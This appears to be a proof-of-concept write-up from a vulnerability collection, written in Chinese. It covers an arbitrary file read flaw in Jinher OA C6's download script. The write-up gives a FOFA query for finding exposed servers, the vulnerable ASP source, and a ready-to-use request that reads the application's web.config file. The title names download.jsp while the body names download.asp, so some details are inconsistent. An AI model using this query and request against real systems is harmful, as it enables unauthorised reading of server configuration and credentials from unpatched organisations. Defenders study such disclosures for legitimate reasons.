Awesome-POC/OA产品漏洞/金和OA C6 download.jsp 任意文件读取漏洞.md
2022-02-21 09:35:01 +08:00

131 lines
4.1 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 金和OA C6 download.jsp 任意文件读取漏洞
## 漏洞描述
金和OA C6 download.jsp文件存在任意文件读取漏洞攻击者通过漏洞可以获取服务器中的敏感信息
## 漏洞影响
```
金和OA
```
## FOFA
```
app="Jinher-OA"
```
## 漏洞复现
登录页面如下
![1](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090141493.png)
漏洞文件为 download.asp
```java
<%
Response.Buffer = true
Response.Clear
dim url
Dim fso,fl,flsize
dim Dname
Dim objStream,ContentType,flName,isre,url1
'*********************************************调用时传入的下载文件名
Dname=trim(request("filename"))
'******************************************************************
If Dname<>"" Then
'******************************下载文件存放的服务端目录
url=server.MapPath(Dname)
'url=server.MapPath("./")&"\Jhsoft.Web.module\testbill\dj"&Dname '这边做了一下改动By Fanshui
'***************************************************
End If
'Response.write url
'response.end
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set fl=fso.getfile(url)
flsize=fl.size
flName=fl.name
Set fl=Nothing
Set fso=Nothing
'Response.write flName
'Response.write flsize
%>
<%
Set objStream = Server.CreateObject("ADODB.Stream")
'objStream.Mode   =   3  
objStream.Type = 1
objStream.Open
objStream.LoadFromFile url
Select Case lcase(Right(flName, 4))
Case ".asf"
ContentType = "video/x-ms-asf"
Case ".avi"
ContentType = "video/avi"
Case ".doc"
ContentType = "application/msword"
Case ".zip"
ContentType = "application/zip"
Case ".xls"
ContentType = "application/vnd.ms-excel"
Case ".gif"
ContentType = "image/gif"
Case ".jpg", "jpeg"
ContentType = "image/jpeg"
Case ".wav"
ContentType = "audio/wav"
Case ".mp3"
ContentType = "audio/mpeg3"
Case ".mpg", "mpeg"
ContentType = "video/mpeg"
Case ".rtf"
ContentType = "application/rtf"
Case ".htm", "html"
ContentType = "text/html"
Case ".txt"
ContentType = "text/plain"
Case Else
ContentType = "application/octet-stream"
End Select
Response.AddHeader "Content-Disposition", "attachment; filename=" & flName
Response.AddHeader "Content-Length", flsize
Response.Charset = "UTF-8"
Response.ContentType = ContentType
Response.BinaryWrite objStream.Read
Response.Flush
response.Clear()
objStream.Close
Set objStream = Nothing
%>
```
请求的POC为
```plain
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
```
![2](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090141014.png)
读取 web.config
```plain
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
```
![3](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090141775.png)